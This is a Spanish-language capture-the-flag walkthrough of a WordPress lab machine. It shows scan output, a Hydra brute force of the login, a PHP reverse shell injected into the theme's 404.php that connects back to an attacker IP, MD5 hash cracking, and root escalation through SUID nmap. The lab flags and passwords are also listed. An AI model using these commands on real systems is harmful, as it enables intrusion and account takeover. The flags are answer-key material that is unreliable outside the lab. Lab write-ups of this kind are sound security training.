Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-13 10:14 EDT
Nmap scan report for 10.10.192.219
Host is up (0.047s latency).

PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose|specialized|storage-misc|broadband router|WAP|printer
Running (JUST GUESSING): Linux 5.X|3.X|4.X|2.6.X (89%), Crestron 2-Series (87%), HP
embedded (87%), Asus embedded (86%)
OS CPE: cpe:/o:linux:linux_kernel:5.4 cpe:/o:linux:linux_kernel:3
cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4
Aggressive OS guesses: Linux 5.4 (89%), Linux 3.10 - 3.13 (88%), Linux 3.10 - 4.11
(88%), Linux 3.12 (88%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 3.2 - 3.5
(88%), Linux 3.2 - 3.8 (88%), Linux 4.2 (88%), Linux 4.4 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   44.99 ms 10.9.0.1
2   45.06 ms 10.10.192.219

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.68 seconds
```

Gobuster

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.192.219/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
```

```
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 218]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.192.219/0/]
/0000                 (Status: 301) [Size: 0] [--> http://10.10.192.219/0000/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.192.219/Image/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.192.219/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/atom/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.192.219/audio/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.192.219/blog/]
/css                  (Status: 301) [Size: 233] [--> http://10.10.192.219/css/]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.192.219/wp-admin/]
/favicon.ico          (Status: 200) [Size: 0]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/]
/image                (Status: 301) [Size: 0] [--> http://10.10.192.219/image/]
/images               (Status: 301) [Size: 236] [--> http://10.10.192.219/images/]
/intro                (Status: 200) [Size: 516314]
/js                   (Status: 301) [Size: 232] [--> http://10.10.192.219/js/]
/license              (Status: 200) [Size: 309]
/login                (Status: 302) [Size: 0] [--> http://10.10.192.219/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.192.219/]
/phpmyadmin           (Status: 403) [Size: 94]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/rdf/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/]
/sitemap              (Status: 200) [Size: 0]
/sitemap.xml          (Status: 200) [Size: 0]
/video                (Status: 301) [Size: 235] [--> http://10.10.192.219/video/]
/wp-admin             (Status: 301) [Size: 238] [--> http://10.10.192.219/wp-admin/]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.192.219/wp-
content/]
/wp-config            (Status: 200) [Size: 0]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.192.219/wp-
includes/]
/wp-login             (Status: 200) [Size: 2671]
/xmlrpc               (Status: 405) [Size: 42]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Si nos vamos a `/robots.txt` en la URL veremos 2 ubicaciones en las que pone lo siguiente...

> /key-1-of-3.txt (flag1)

```
073403c8a58a1f80d943455fb30724b9
```

> /fsocity.dic

Eso es un diccionario de palabras que te descarga, por lo que lo usaremos para probar fuerza bruta tanto en el usuario como en la contraseña...

En el panel de login de WordPress vemos que cuando fallamos el usuario nos pone que fallamos el usuario, pero cuando acertamos el usuario y la contraseña no, nos pone que fallamos la contraseña, por lo que aprovecharemos eso para sacar usuario y contraseña en WordPress...

```
hydra -L fsocity.dic -p <PASSWORD> <IP> http-post-form "/wp-
login.php:log=^USER^&pwd=^PASS^:Invalid username"
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-13 11:16:10
[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries
(l:858235/p:1), ~53640 tries per task
[DATA] attacking http-post-form://10.10.192.219:80/wp-
login.php:log=^USER^&pwd=^PASS^:Invalid username
[80][http-post-form] host: 10.10.192.219   login: Elliot   password: admin
```

Con esto ya sabemos el usuario, por lo que utilizaremos `hydra` para sacar la contraseña...

```
hydra -l Elliot -P fsocity.dic <IP> http-post-form "/wp-
login.php:log=^USER^&pwd=^PASS^:The password you entered for the username"

Password = ER28-0652
```

Una vez dentro haremos una Reverse Shell...

Dentro del panel de WordPress nos vamos a `Themes` y `Editor` de ahi nos dirigimos a donde pone `404.php` y para que nos salga ese error (Entrar dentro de ese .php) tendremos que poner una ruta mala o que directamente no pille dentro de WordPress, en mi caso `http://<IP>/mi-wordpress` una vez alli ponemos en el codigo de php del `404.php` lo siguiente...

```
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock,
2=>$sock),$pipes);
```

Lo guardamos y estamos a la escucha...

```
nc -lvnp <PORT>
```

Una vez recargada la pagina de lerror nos dara la shell...

Si nos vamos a la `/home` de `robot` veremos que hay un `password.raw-md5` con el usuario y contraseña de robot, pero la contraseña esta hasheada, por lo que la tenemos que crackear...

Info:

```
robot:c3fcd3d76192e4007dfb496cca67e13b

john --wordlist=<WORDLIST> --format=Raw-MD5 <HASH_FILE>
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
```

```
abcdefghijklmnopqrstuvwxyz (robot)
1g 0:00:00:00 DONE (2024-05-13 12:06) 100.0g/s 4051Kp/s 4051Kc/s 4051KC/s
bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords
reliably
Session completed.

robot:abcdefghijklmnopqrstuvwxyz
```

Nos importamos una shell por que si no, no nos dejara cambiar de usuario...

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

Leemos la segunda flag llamada `key-2-of-3.txt`...

> key-2-of-3.txt (flag2)

```
822c73956184f694993bede3eb39f959
```

Si hacemos...

```
find / -type f -perm -4000 -ls 2>/dev/null
```

Nos buscara lo que podemos ejecutar con SUID (root)

```
34835  496 -rwsr-xr-x   1 root     root       504736 Nov 13  2015 /usr/local/bin/nmap
```

Vemos que podemos ejecutar `nmap` con privilegios de "root" por lo que haremos lo siguiente...

```
nmap --interactive

# Dentro del entorno de 'nmap'
!whoami

nmap> root

# Cuando vemos que somos root nos damos una shell
!sh
```

Ya seriamos `root` por lo que leemos la ultima flag...

> key-3-of-3.txt (flag3)

```
04787ddef27c3dee1ee161b21670b4e4
```